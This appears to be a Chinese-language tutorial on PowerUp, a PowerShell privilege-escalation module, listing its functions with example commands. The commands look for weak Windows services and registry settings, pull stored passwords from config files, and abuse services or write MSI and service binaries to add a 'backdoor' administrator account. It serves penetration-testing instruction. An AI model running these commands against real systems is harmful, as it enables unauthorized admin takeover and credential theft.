PowerUp攻击模块讲解
PowerUp是Privesc模块下的一个脚本,功能相当强大,拥有众多用来寻找目标主机Windows服务漏洞进行提权的实用脚本。
通常,在Windows下可以通过内核漏洞来提升权限。但是,我们常常会碰到无法通过内核漏洞提权所处服务器的情况,这个时候就需要利用脆弱的Windows服务提权,或者利用常见的系统服务,通过其继承的系统权限来完成提权等,此框架可以在内核提权行不通的时候,帮助我们寻找服务器的脆弱点,进而同脆弱点实现提权的目的。
由于这里是本机操作的,可以直接输入Import-Module命令加载PowerUp脚本模块
更改执行策略 PS C:\Windows\system32> Set-ExecutionPolicy Unrestricted PS C:\Windows\system32> Get-ExecutionPolicy Unrestricted 加载PowerUp脚本模块 PS C:\Windows\system32> Import-Module C:\Users\zn\Desktop\PowerUp.ps1
输入get-help [cmdlet] -full命令查看各个模块的详细说明。比如Get-Help invoke-allchecks -full
PS C:\Windows\system32> Get-Help invoke-allchecks -full 名称 Invoke-AllChecks 摘要 Runs all functions that check for various Windows privilege escalation opportunities Author: @harmj0y License: BSD 3-Clause 语法 Invoke-AllChecks [-HTMLReport] [<CommonParameters>] 说明 参数 -HTMLReport [<SwitchParameter>] Switch. Write a HTML version of the report to SYSTEM.username.html. 是否必需? False 位置? named 默认值 是否接受管道输入? false 是否接受通配符? <CommonParameters> 此 cmdlet 支持通用参数: Verbose、Debug、 ErrorAction、ErrorVariable、WarningAction、WarningVariable、 OutBuffer 和 OutVariable。有关详细信息,请键入 “get-help about_commonparameters”。 输入 输出 -------------------------- 示例 1 -------------------------- PS C:\>Invoke-AllChecks Runs all escalation checks and outputs a status report for discovered issues. -------------------------- 示例 2 -------------------------- PS C:\>Invoke-AllChecks -HTMLReport Runs all escalation checks and outputs a status report to SYSTEM.username.html detailing any discovered issues. 相关链接 PS C:\Windows\system32>
下面对PowerUp常用的模块进行介绍。
1.Invoke-AllChecks
该模块会自动执行PowerUp下所有的脚本来检查目标主机,输出以下命令即可执行该模块。
PS C:\Windows\system32> Invoke-AllChecks
2.Find-PathDLLHijack
该模块用于检查当前%PATH%的哪些目录是用户可以写入的,输入以下命令即可执行该模块。
PS C:\Windows\system32> Find-PathDLLHijack
3.Get-ApplicationHost
该模块可利用系统上的applicationHost.config文件恢复加密过的应用池和虚拟目录的密码,执行该模块的命令如下所示。
PS C:\Windows\system32> Get-ApplicationHost PS C:\Windows\system32> Get-ApplicationHost|Format-Table-Autosize #列表显示
4.Get-RegistryAlwaysInstallElevated
该模块用于检查AlwaysInstallElevated注册表项是否被设置,如果已被设置,意味着MSI文件是以SYSTEM权限运行的,执行该模块的命令如下所示。
PS C:\Windows\system32> Get-RegistryAlwaysInstallElevated
5.Get-RegistryAutoLogon
该模块用于检查Winlogin注册表的AutoAdminLogon项有没有被设置,可以查询默认的用户名和密码。执行该模块的命令如下所示。
PS C:\Windows\system32> Get-RegistryAutoLogon
6.Get-ServiceDetail
该模块用于返回某服务的信息,输入以下命令即可执行该模块。
PS C:\Windows\system32> Get-ServiceDetail -ServiceName DHCP #获取DHCP服务的详细信息
7.Get-ServiceFilePermission
该模块用于检查当前用户能够在哪些服务的目录写入相关联的可执行文件,我们可通过这些文件实现提权,输入以下命令即可执行该模块。
PS C:\Windows\system32> Get-ServiceFilePermission
8.Test-ServiceDaclPermission
该模块用于检查所有可用的服务,并尝试对这些打开的服务进行修改,如果可修改,则返回该服务对象,执行该模块的命令如下所示。
PS C:\Windows\system32> Test-ServiceDaclPermission
9.Get-ServiceUnquoted
该模块用于检查服务路径,返回包含空格但是不带引号的服务路径。
此处利用了Windows的一个逻辑漏洞,即当文件包含空格时,Windows API会被解释为2个路径,并将这两个文件同时执行,有时可能会造成权限的提升,比如C:\program files\hello.exe会被解释为C:\program.exe和C:\program files\hello.exe。输入以下命令即可执行该模块。
PS C:\Windows\system32> Get-ServiceUnquoted
10.Get-UnattenndedInstallFile
该模块用于检查以下路径,查找是否存在这个文件,因为这些文件里可能含有部署凭据。这些文件包含:
执行该模块的命令如下。
PS C:\Windows\system32> Get-UnattendedInstallFile
11.Get-ModifiableRegistryAutoRun
该模块用于检查开机自启的应用程序路径和注册表键值,然后返回当前用户可修改的程序路径。被检查的注册表键值有以下这些:
输入以下命令即可执行该模块。
PS C:\Windows\system32> Get-ModifiableRegistryAutoRun
12.Get-ModifiableScheduledTaskFile
该模块用于返回当前用户能够修改的计划任务程序的名称和路径,输入以下命令即可执行该模块。
PS C:\Windows\system32> Get-ModifiableScheduledTaskFile
13.Get-Webconfig
该模块用于返回当前服务器上web.config文件中的数据库连接字符串的明文,输入以下命令即可执行该模块。
PS C:\Windows\system32> Get-Webconfig False
14.Invoke-ServiceAbuse
该模块通过修改服务来添加用户到指定组,并可以通过设置-cmd参数触发添加用户的自定义命令,执行该模块的命令如下所示。
PS C:\Windows\system32> Invoke-ServiceAbuse -ServiceName VulnSVC #添加默认账号 PS C:\Windows\system32> Invoke-ServiceAbuse -ServiceName VulnSVC -USerName "TESTLAB\john" #指定添加的域账号 PS C:\Windows\system32> Invoke-ServiceAbuse -ServiceName VulnSVC -USerName backdoor -Password password -LocalGroup "Administrators" #指定添加用户,用户密码以及添加的用户组 PS C:\Windows\system32> Invoke-ServiceAbuse -ServiceName VulnSVC -Command "net......" #自定义执行命令
15.Restore-ServiceBinary
该模块用于恢复服务的可执行文件到原始目录,执行该模块的命令如下所示。
PS C:\Windows\system32> Restore-ServiceBinary -ServiceName VulnSVC
16.Test-ServiceDaclPermission
该模块用于检查某个用户是否在服务中有自由访问控制的权限,结果会返回true或false,执行该模块的命令如下所示。
PS C:\Windows\system32> Test-ServiceDaclPermission
17.Write-HijackDll
该模块用于输出一个自定义命令并且能够自我删除的bat文件到$env:Tenp\debug.bat,并输出一个能够启动这个bat文件的DLL。
18.Write-UserAddMSI
该模块用于生成一个安装文件,运行这个安装文件后会弹出添加用户的对话框,输入以下命令即可执行该模块。
PS C:\Windows\system32> Write-UserAddMSI
19.Write-ServiceBinary
该模块用于预编译C#服务的可执行文件,默认创建一个管理员账号,可通过command定制自己的命令,执行该模块的命令如下所示。
PS C:\Windows\system32> Write-ServiceBinary -ServiceName VulnSVC #添加默认账号 PS C:\Windows\system32> Write-ServiceBinary -ServiceName VulnSVC -UserName "TESTLAB\john" #指定添加的域账号 PS C:\Windows\system32> Write-ServiceBinary -ServiceName VulnSVC -UserName backdoor -Password password123! -LocalGroup "Administrators" #指定添加用户,用户密码以及添加的用户组 PS C:\Windows\system32> Write-ServiceBinary -ServiceName VulnSVC -Command "net......" #自定义执行命令
20.Install-ServiceBinary
该模块通过Write-ServiceBinary写一个C#的服务用来添加用户,执行该模块的命令如下所示。
PS C:\Windows\system32> Install-ServiceBinary -ServiceName DHCP PS C:\Windows\system32> Install-ServiceBinary -ServiceName VulnSVC -UserName "TESTLAB\john" PS C:\Windows\system32> Install-ServiceBinary -ServiceName VulnSVC -UserName backdoor -Password password123! PS C:\Windows\system32> Install-ServiceBinary -ServiceName VulnSVC -Command "net......"
Write-ServiceBinary与Install-ServiceBinary的区别是,前者生成可执行文件,后者直接安装服务。